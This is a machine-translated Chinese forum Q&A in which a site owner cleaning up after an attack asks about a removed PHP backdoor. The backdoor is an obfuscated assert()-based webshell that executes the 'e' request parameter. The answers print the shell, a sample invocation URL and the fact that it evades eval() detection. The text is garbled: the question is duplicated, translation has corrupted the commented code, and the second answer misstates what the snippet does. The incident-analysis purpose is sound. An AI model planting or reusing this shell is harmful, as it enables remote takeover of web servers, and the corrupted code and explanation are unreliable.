在一次攻击导致许多PHP
shell 被上传后,我正在清理一个网站。我找到并删除了以下代码:
if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }
你能告诉我它是做什么的吗?如何${'a'}
导致代码执行?注入的代码是 POST 请求发送的吗?
在一次攻击导致许多PHP
shell 被上传后,我正在清理一个网站。我找到并删除了以下代码:
if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }
你能告诉我它是做什么的吗?如何${'a'}
导致代码执行?注入的代码是 POST 请求发送的吗?
它是一个允许远程执行代码的模糊 Web shell。
脚本$_REQUEST['e']
输入到assert()
函数中。这将e
请求参数评估为 PHP。像这样使用它:
http://example.com/shell.php?e=phpinfo()
assert()
是评估断言的调试功能。但是,如果你给它一个任意字符串,它将作为 PHP 表达式执行。这是一种避免eval()
恶意软件检测的好方法。
这是重新格式化和评论的片段:
<?php // 确保提供了请求参数 e if(isset($_REQUEST['e'])) { // 通过从多个字符串中组装“assert”来使静态分析复杂化 $b = "屁股"."ert"; // 评估断言(是的,在 PHP 中你可以“调用”一个字符串作为函数名) $a = $b($_REQUEST['e']); //垃圾。断言已经运行,这没有任何作用 ${'a'}; } ?>
如何
${'a'}
导致代码执行?
它没有。$b($_REQUEST['e'])
是断言运行的地方。该代码无需${'a'}
.
注入的代码是 POST 请求发送的吗?
$_REQUEST
允许通过GET
和发送参数POST
。
让我们分解一下。
$b="ass"."ert"
这将创建一个变量“b”,其中“ass”与“ert”连接以形成“assert”。
$a=$b($_REQUEST['e']);
由于 b = 'assert' 这将评估为 assert() 传入请求中的任何“e”。Assert 是一个函数,它将检查传入的内容是否为 false ( http://php.net/manual/en/function.assert.php )。
${'a'}
这实际上什么也没做。它与 $a 相同。
如果黑客通过请求页面 yourdomain.com/thephpfile.php?e=1%3D2 在请求中传递了一个 'e' 的东西,浏览器会将 %3D 转换为 '=' 符号并且 e 将是 '1= 2'。
让我们把它放在一起。
${'断言(1=2)'}
这将返回 1,因为它断言结果为假。
这可用于通过检查变量是否等于它们传入的值来检查 php 页面中的变量。
如果您需要澄清,请告诉我。